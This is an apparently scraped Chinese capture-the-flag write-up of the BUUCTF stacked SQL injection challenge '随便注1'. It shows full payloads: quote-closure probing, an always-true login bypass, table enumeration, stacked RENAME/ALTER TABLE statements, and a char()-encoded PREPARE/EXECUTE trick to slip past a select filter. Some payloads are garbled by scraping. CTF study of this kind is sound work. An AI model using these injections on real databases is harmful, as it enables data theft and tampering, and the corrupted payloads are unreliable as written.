当前位置 : 主页 > 网络编程 > 其它编程 >

buuctf_sql注入_随便注1

来源:互联网 收集:自由互联 发布时间:2023-07-02
题目随便注1出处https:buuoj.cnchallenges知识点1.堆叠注入题面解题步骤 题目随便注1 出处https://buuoj.cn/challenges 知识点 1.堆叠注入 题面 解题步骤 1.直接提交1返回了一个php数组形式的返回值说
题目随便注1出处https:buuoj.cnchallenges知识点1.堆叠注入题面解题步骤

题目随便注1

出处https://buuoj.cn/challenges

知识点 1.堆叠注入

题面 在这里插入图片描述 解题步骤 1.直接提交1返回了一个php数组形式的返回值说明有回显。

在这里插入图片描述 2.尝试使用 ‘、"、]、) 等闭合sql语句发现单引号引起报错 在这里插入图片描述 3.尝试万能密码‘ or 11#,根据回显内容发现flag不在当前所在的表中这说明需要利用注入语句切换当前所在的表。 在这里插入图片描述 4.首先查询所有的表名1’;desc tables;#; 发现当前库中存在两个表 在这里插入图片描述 5.分别查看两个表结构

1;desc 1919810931114514;#1;desc words;#

发现flag存在于表1919810931114514中 在这里插入图片描述

6.现在目标明确要查询表1919810931114514中的flag

1;select * from 1919810931114514;#

执行后发现存在过滤无法使用select。 在这里插入图片描述 7.到这一步为止可以有多种解法

1需要对查询语句进行猜解,猜测查询语句如下

select * from words where id $inject;

或者

select id,data from words where id$inject;

如此看来目前我们要查询1919810931114514表而目前可利用的select语句执行在words表且无法使用堆叠注入执行新的select语句这就陷入了死循环。

重新分析一下已有的select语句其实在本题中是可以多次执行的每次执行不影响表结构其功能是查询words表中的全部内容。所以我们如果能想办法利用一个堆叠注入将1919810931114514表中的内容转移到words中然后再使用一次万能密码’or 11#就可以得到flag。

复制语句大概长这样

insert into words select * from 1919810931114514

不行insert肯定会被过滤掉换个思路其实我还可以把1919810931114514表名改了。

说搞就搞。

1;rename table words to meiyong;rename table 1919810931114514 to words;#

在这里插入图片描述 搞砸了大概是没有加表名没有,再来一次返回结果提醒我1919810931114514中本身没有id列会翻车。 在这里插入图片描述

重置环境重来把flag列名改成id执行成功

1;rename table words to meiyong;rename table 1919810931114514 to words;ALTER TABLE words CHANGE flag id VARCHAR(100) ;#

接着再执行万能密码

1‘or 11;

在这里插入图片描述

2利用char()方法还没做但是嫖来了payload感觉可以作为通法值得研究。payload如下

?inject;SET sqlconcat(char(115,101,108,101,99,116)," * from 1919810931114514");PREPARE sqla from sql;EXECUTE sqla;#

3利用预处理还没做什么都没做

总结由于短短说不写完就打死我所以本文暂时就烂尾了明天我把剩下的两种解法补全。

网友评论